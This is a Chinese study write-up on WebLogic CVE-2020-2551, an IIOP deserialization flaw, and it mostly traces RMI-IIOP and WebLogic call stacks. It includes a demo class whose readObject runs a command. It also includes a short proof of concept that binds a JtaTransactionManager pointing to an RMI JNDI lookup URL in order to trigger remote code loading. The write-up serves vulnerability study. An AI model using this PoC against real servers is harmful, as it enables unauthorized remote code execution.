暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

weblogic CVE-2020-2551 IIOP反序列化学习

8ypass 2021-06-24
528

学习记录

IIOP:

IIOP 是 CORBA 的通信协议。它定义通过 CORBA 客户端与服务器之间的连线发送位的方式。(意思是CORBA基于IIOP协议进行数据传输)

CORBA:

公共对象请求代理程序体系结构,缩写为CORBA,CORBA是由对象管理组开发的标准分布式对象体系结构,远程对象接口在平台无关接口定义语言IDL中进行说明,实现从IDL到特定编程语言的映射,将语言绑定到CORBA/IIOP


RMI-IIOP:

java程序员在编写分布式编程解决方案的时候需要在RMI/IIOP之间进行选择,通过遵循一些限制,可以使得RMI服务器对象可以使用IIOP,并与任何语言编写CORBA客户端进行通信,该解决方案被称为RMI-IIOP.

RMI-IIOP结合了RMI的易用性和CORBA的跨语言互操作性


一个IIOP例子


服务端

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;


public class HelloServer {


public static void main(String[] args) throws Exception{


HelloImpl hello=new HelloImpl();


Hashtable<String,String> env=new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL,"iiop://127.0.0.1:1050");
Context init=new InitialContext(env);
init.rebind("hello",hello);


}
}


客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;


public class iiopclient {


public static void main(String[] args) throws Exception{
Hashtable<String,String> env=new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL,"iiop://localhost:1050");
InitialContext ic=new InitialContext(env);


Object objref=ic.lookup("hello");


HelloInterface hi= (HelloInterface) PortableRemoteObject.narrow(objref,HelloInterface.class);


Message message=new Message();
hi.sayHello(message);
}
}


Message

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;


public class Message implements java.io.Serializable{


private void readObject(ObjectInputStream e)throws Exception{
System.out.println("readObject");
Runtime.getRuntime().exec("calc.exe");
}


private void writeObject(ObjectOutputStream e)throws Exception{
System.out.println("writeObject");
}
}


在调用的过程中发现服务端会调用Message的readObject方法,而客户端会调用writeObject


分析如下:

服务端bind的过程

    public static void main(String[] args) throws Exception{


HelloImpl hello=new HelloImpl();


Hashtable<String,String> env=new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL,"iiop://127.0.0.1:1050");
Context init=new InitialContext(env);
init.rebind("hello",hello); //这里init是InitialContext


}

rebind


    public void rebind(String name, Object obj) throws NamingException {
getURLOrDefaultInitCtx(name).rebind(name, obj);
}

跟入getURLOrDefaultInitCtx


    protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();

这里返回了一个默认的Context CNCTX

    public void rebind(String var1, java.lang.Object var2) throws NamingException {
this.rebind((Name)(new CompositeName(var1)), var2);
}
    public void rebind(Name var1, java.lang.Object var2) throws NamingException {
if (var1.size() == 0) {
throw new InvalidNameException("Name is empty");
} else {
NameComponent[] var3 = CNNameParser.nameToCosName(var1);


try {
this.callBindOrRebind(var3, var1, var2, true);
} catch (CannotProceedException var6) {
Context var5 = getContinuationContext(var6);
var5.rebind(var6.getRemainingName(), var2);
}


}
}

跟入callBindOrRebind


private void callBindOrRebind(NameComponent[] var1, Name var2, java.lang.Object var3, boolean var4) throws NamingException {
if (this._nc == null) {
throw new ConfigurationException("Context does not have a corresponding NamingContext");
} else {
try {
                var3 = NamingManager.getStateToBind(var3, var2, thisthis._env); 
if (var3 instanceof CNCtx) {
var3 = ((CNCtx)var3)._nc;
}


if (var3 instanceof NamingContext) {
NamingContext var5 = NamingContextHelper.narrow((Object)var3);
if (var4) {
this._nc.rebind_context(var1, var5);
} else {
this._nc.bind_context(var1, var5);
}
} else {
if (!(var3 instanceof Object)) {
throw new IllegalArgumentException("Only instances of org.omg.CORBA.Object can be bound");
}


if (var4) {
this._nc.rebind(var1, (Object)var3); //跟入
} else {
this._nc.bind(var1, (Object)var3);
}
}


} catch (BAD_PARAM var7) {
NotContextException var6 = new NotContextException(var2.toString());
var6.setRootCause(var7);
throw var6;
} catch (Exception var8) {
throw ExceptionMapper.mapException(var8, this, var1);
}
}


public void rebind (org.omg.CosNaming.NameComponent[] n, org.omg.CORBA.Object obj) throws org.omg.CosNaming.NamingContextPackage.NotFound, org.omg.CosNaming.NamingContextPackage.CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName
{
org.omg.CORBA.portable.InputStream $in = null;
try {
                org.omg.CORBA.portable.OutputStream $out = _request ("rebind"true); //这里返回是一个CDROutputObject
org.omg.CosNaming.NameHelper.write ($out, n);
                org.omg.CORBA.ObjectHelper.write ($out, obj); //这里把对象写出去了
$in = _invoke ($out);


    public static void write (org.omg.CORBA.portable.OutputStream ostream, org.omg.CORBA.Object value)
{
ostream.write_Object (value);
}


    public void write_Object(org.omg.CORBA.Object ref)
{
if (ref == null) {
IOR nullIOR = IORFactories.makeIOR( orb ) ;
nullIOR.write(parent);
return;
}


// IDL to Java formal 01-06-06 1.21.4.2
if (ref instanceof org.omg.CORBA.LocalObject)
throw wrapper.writeLocalObject(CompletionStatus.COMPLETED_MAYBE);


IOR ior = ORBUtility.connectAndGetIOR( orb, ref ) ;
ior.write(parent);
return;
}


IIOP 服务端与客户端通信时服务端的调用栈

readObject:9, Message
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeObjectReader:1714, IIOPInputStream (com.sun.corba.se.impl.io)
inputObject:1232, IIOPInputStream (com.sun.corba.se.impl.io)
simpleReadObject:416, IIOPInputStream (com.sun.corba.se.impl.io)
readValueInternal:341, ValueHandlerImpl (com.sun.corba.se.impl.io)
readValue:307, ValueHandlerImpl (com.sun.corba.se.impl.io)
read_value:999, CDRInputStream_1_0 (com.sun.corba.se.impl.encoding)
read_value:271, CDRInputStream (com.sun.corba.se.impl.encoding)
_invoke:-1, _HelloImpl_Tie
dispatchToServant:653, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)
dispatch:205, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)
handleRequestRequest:1700, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
handleRequest:1558, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
handleInput:940, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
callback:198, RequestMessage_1_2 (com.sun.corba.se.impl.protocol.giopmsgheaders)
handleRequest:712, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)
dispatch:469, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)
doWork:1230, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)
performWork:490, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)


从dispatchToServant开始跟

 protected CorbaMessageMediator dispatchToServant(
java.lang.Object servant,
CorbaMessageMediator req,
byte[] objectId, ObjectAdapter objectAdapter)
{
try {
if (orb.subcontractDebugFlag) {
dprint(".dispatchToServant->: " + opAndId(req));
}


CorbaMessageMediator response = null ;


String operation = req.getOperationName() ; //首先获得调用的方法


SpecialMethod method = SpecialMethod.getSpecialMethod(operation) ;
            if (method != null) { //如果method不为空直接invoke
if (orb.subcontractDebugFlag) {
dprint(".dispatchToServant: " + opAndId(req)
+ ": Handling special method");
}


response = method.invoke(servant, req, objectId, objectAdapter);
return response ;
}


// Invoke on the servant using the portable DSI skeleton
if (servant instanceof org.omg.CORBA.DynamicImplementation) {
if (orb.subcontractDebugFlag) {
dprint(".dispatchToServant: " + opAndId(req)
+ ": Handling old style DSI type servant");
}


org.omg.CORBA.DynamicImplementation dynimpl =
(org.omg.CORBA.DynamicImplementation)servant;
ServerRequestImpl sreq = new ServerRequestImpl(req, orb);


// Note: When/if dynimpl.invoke calls arguments() or
// set_exception() then intermediate points are run.
dynimpl.invoke(sreq);


response = handleDynamicResult(sreq, req);
} else if (servant instanceof org.omg.PortableServer.DynamicImplementation) {
if (orb.subcontractDebugFlag) {
dprint(".dispatchToServant: " + opAndId(req)
+ ": Handling POA DSI type servant");
}


org.omg.PortableServer.DynamicImplementation dynimpl =
(org.omg.PortableServer.DynamicImplementation)servant;
ServerRequestImpl sreq = new ServerRequestImpl(req, orb);


// Note: When/if dynimpl.invoke calls arguments() or
// set_exception() then intermediate points are run.
dynimpl.invoke(sreq);


response = handleDynamicResult(sreq, req);
} else {
if (orb.subcontractDebugFlag) {
dprint(".dispatchToServant: " + opAndId(req)
+ ": Handling invoke handler type servant");
}


InvokeHandler invhandle = (InvokeHandler)servant ;


OutputStream stream =
(OutputStream)invhandle._invoke(
operation,
(org.omg.CORBA.portable.InputStream)req.getInputObject(),
req);
response = (CorbaMessageMediator)
                    ((OutputObject)stream).getMessageMediator(); //跟入
}


return response ;


这里是调用HelloImpl_Tie的invoke

    public OutputStream _invoke(String var1, InputStream var2, ResponseHandler var3) throws SystemException {
try {
HelloImpl var4 = this.target;
if (var4 == null) {
throw new IOException();
} else {
                org.omg.CORBA_2_3.portable.InputStream var5 = (org.omg.CORBA_2_3.portable.InputStream)var2; //CDRinputObject
if (var1.equals("sayHello")) {
Message var6 = (Message)var5.read_value(class$Message != null ? class$Message : (class$Message = class$("Message")));
var4.sayHello(var6);
OutputStream var7 = var3.createReply();
return var7;
} else {
throw new BAD_OPERATION();
}
}
} catch (SystemException var8) {
throw var8;
} catch (Throwable var9) {
throw new UnknownException(var9);
}
}


跟入read_value

    public final java.io.Serializable read_value(java.lang.Class clz) {
return impl.read_value(clz);
}
public Serializable read_value(Class expectedType) {


// Read value tag
int vType = readValueTag();


// Is value null?
if (vType == 0)
return null;


// Is this an indirection to a previously
// read valuetype?
if (vType == 0xffffffff)
return handleIndirection();


// Save where this valuetype started so we
// can put it in the indirection valueCache
// later
int indirection = get_offset() - 4;


// Need to save this special marker variable
// to restore its value during recursion
boolean saveIsChunked = isChunked;


isChunked = repIdUtil.isChunkedEncoding(vType);


java.lang.Object value = null;


String codebase_URL = null;
if (repIdUtil.isCodeBasePresent(vType)) {
codebase_URL = read_codebase_URL();
}


// Read repository id(s)
String repositoryIDString
= readRepositoryIds(vType, expectedType, null);


// If isChunked was determined to be true based
// on the valuetag, this will read a chunk length
start_block();


// Remember that end_flag keeps track of all nested
// valuetypes and is used for older ORBs
end_flag--;
if (isChunked)
chunkedValueNestingLevel--;


if (repositoryIDString.equals(repIdStrs.getWStringValueRepId())) {
value = read_wstring();
} else
if (repositoryIDString.equals(repIdStrs.getClassDescValueRepId())) {
// read in the class whether with the old ClassDesc or the
// new one
value = readClass();
} else {


Class valueClass = expectedType;


// By this point, either the expectedType or repositoryIDString
// is guaranteed to be non-null.
if (expectedType == null ||
!repositoryIDString.equals(repIdStrs.createForAnyType(expectedType))) {


valueClass = getClassFromString(repositoryIDString,
codebase_URL,
expectedType);
}


if (valueClass == null) {
// No point attempting to use value handler below, since the
// class information is not available.
throw wrapper.couldNotFindClass(
CompletionStatus.COMPLETED_MAYBE,
new ClassNotFoundException());
}


if (valueClass != null &&
org.omg.CORBA.portable.IDLEntity.class.isAssignableFrom(valueClass)) {


value = readIDLValue(indirection,
repositoryIDString,
valueClass,
codebase_URL);


} else {


// Must be some form of RMI-IIOP valuetype


try {
if (valueHandler == null)
valueHandler = ORBUtility.createValueHandler();


value = valueHandler.readValue(parent,
indirection,
valueClass,
repositoryIDString,
getCodeBase());


        try {


jdkToOrbInputStreamBridge.increaseRecursionDepth();
result = (java.io.Serializable) readValueInternal(jdkToOrbInputStreamBridge, in, offset, clazz, repositoryID, sender);

跟入readValueInternal

            if (vhandler.useFullValueDescription(clz, repositoryID)) {
obj = inputObjectUsingFVD(clz, repositoryID, sender, offset);
} else {
obj = inputObject(clz, repositoryID, sender, offset);
}

最终会到IIOPInputStream的InvokeObjectReader

        try {
osc.readObjectMethod.invoke( obj, readObjectArgList ) ;

osc是ObjectStreamClass,最终就到了message的readObject了


看看CVE-2020-2551的调用过程

poc如下

    public static void main(String[] args) throws Exception{
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:7001");
Context context = new InitialContext(env);
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:8822/wlc");
context.rebind("test",jtaTransactionManager);
        
}

首先来看看jndi的rebind过程

这里context同样也是InitialContext


public void rebind(Name var1, Object var2) throws NamingException {
try {
NamingContext var3 = this.getContext(var1.toString());
if (!ReferenceHelper.exists()) {
ReferenceHelper.setReferenceHelper(new ReferenceHelperImpl());
}


Object var4 = ReferenceHelper.getReferenceHelper().replaceObject(var2); //这里var4还是jtaTransactionManager
var4 = NamingManager.getStateToBind(var4, var1, this, this.env);
if (!(var4 instanceof org.omg.CORBA.Object)) {
try {
NamingContextAny var5 = (NamingContextAny)var3;
ORB var6 = ORB.init();
Any var7 = var6.create_any();
TypeCode var8 = var6.get_primitive_tc(TCKind.tk_value);
                    var7.insert_Value((Serializable)var4, var8); //跟入这个insert_value
var5.rebind_any(Utils.nameToWName(var1), var7);
} catch (ClassCastException var9) {
throw new IllegalArgumentException("Object must be a CORBA object: " + var4);
}
} else {
var3.rebind(Utils.nameToName(var1), (org.omg.CORBA.Object)var4);
}

跟入rebind_any

 public void rebind_any(WNameComponent[] var1, Any var2) throws NotFound, CannotProceed, InvalidName, TypeNotSupported {
InputStream var3 = null;


try {
OutputStream var4 = this._request("rebind_any", true);
WNameHelper.write(var4, var1);
var4.write_any(var2); //跟入
var3 = this._invoke(var4);
return;

    public final void write_any(Any var1) {
if (var1 == null) {
this.write_TypeCode((TypeCode)null);
} else {
this.write_TypeCode(var1.type());
var1.write_value(this);
}


}

public void write_value(OutputStream var1) {
this.write_value(var1, this.type);
}

 case 29:
case 30:
((org.omg.CORBA_2_3.portable.OutputStream)var1).write_value((Serializable)this.value);


最终到IIOPOutputStream的write_value写入

                } else if (!this.useJavaSerialization) {
try {
ValueHandlerImpl.writeValue(this, var16, this.maxFormatVersion, var4);
} catch (IOException var14) {
throw (MARSHAL)(new MARSHAL(var14.getMessage())).initCause(var14);
}


    public static void writeValue(IIOPOutputStream var0, Object var1, byte var2, ClassInfo var3) throws IOException {
ObjectStreamClass var4 = var3.getDescriptor();
if (var4.isExternalizable()) {
var0.write_octet(var2);
((Externalizable)var1).writeExternal(var0);
} else if (!ObjectStreamClass.supportsUnsafeSerialization()) {
ValueHandler var5 = Util.createValueHandler();
if (var5 instanceof ValueHandlerMultiFormat) {
((ValueHandlerMultiFormat)var5).writeValue(var0, (Serializable)var1, var2);
} else {
var5.writeValue(var0, (Serializable)var1);
}
} else if (var4.isArray()) {
writeArray(var0, var1, var4, var3.forClass());
} else {
writeValueData(var0, var1, var4, var2);
}
    private static void writeValueData(IIOPOutputStream var0, Object var1, ObjectStreamClass var2, byte var3) throws IOException {
if (var2.getSuperclass() != null) {
writeValueData(var0, var1, var2.getSuperclass(), var3);
}


if (var2.hasWriteObject()) {
var0.write_octet(var3);
ObjectOutputStream var4 = var0.getObjectOutputStream(var1, var2, var3);
var2.writeObject(var1, var4);
var4.close();
} else {
var2.writeFields(var1, var0);
}


}

至此可以看到jndi bind的时候会把对象通过IIOPOutputStream写入


看看weblogic接收到对象的时候做了什么

readObject:1192, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)


看关键部分


 public void invoke(RuntimeMethodDescriptor var1, InboundRequest var2, OutboundResponse var3) throws Exception {
try {
weblogic.iiop.InboundRequest var4 = (weblogic.iiop.InboundRequest)var2;
if (!var4.isCollocated() && var4.getEndPoint().isDead()) {
throw new ConnectException("Connection is already shutdown for " + var2);
} else {
Integer var5 = (Integer)objectMethods.get(var4.getMethod());
ResponseHandler var6;
if (var3 == null) {
var6 = NULL_RESPONSE;
} else {
var6 = ((weblogic.iiop.OutboundResponse)var3).createResponseHandler(var4);
}


if (var5 != null) {
this.invokeObjectMethod(var5, var4.getInputStream(), var6);
} else {
this.delegate._invoke(var4.getMethod(), var4.getInputStream(), var6);
}

跟到_invoke

 case 1:
try {
var63 = WNameHelper.read(var2);
                    var65 = var2.read_any(); //这里读取IIOPInputStream的值

最终会走到valuehandlerImpl的readValue

public static Object readValue(IIOPInputStream var0, ObjectStreamClass var1, Object var2) throws IOException, ClassNotFoundException {
if (var1.isArray()) {
return readArray(var0, var1, var2);
} else {
if (var1.isExternalizable()) {
byte var3 = var0.read_octet();
((Externalizable)var2).readExternal(var0);
} else {
readValueData(var0, var2, var1);
}


return var1.readResolve(var2);
}
}
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) throws IOException, ClassNotFoundException {
if (var2.getSuperclass() != null) {
readValueData(var0, var1, var2.getSuperclass());
}


boolean var3 = true;
byte var4 = 1;
if (var2.hasWriteObject()) {
var4 = var0.read_octet();
var3 = var0.read_boolean();
}


if (var2.hasReadObject()) {
boolean var5 = false;
if (!var3 && var4 > 1) {
var5 = var0.startValue();
}


ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);
            var2.readObject(var1, var6); //这里就调用了JtaTransactionManager的readObject
var6.close();

JtaTransactionManager

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}

然后就跟之前那个jndi注入一样了




参考:

https://www.freebuf.com/vuls/227920.html

https://y4er.com/post/weblogic-cve-2020-2551/


文章转载自8ypass,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论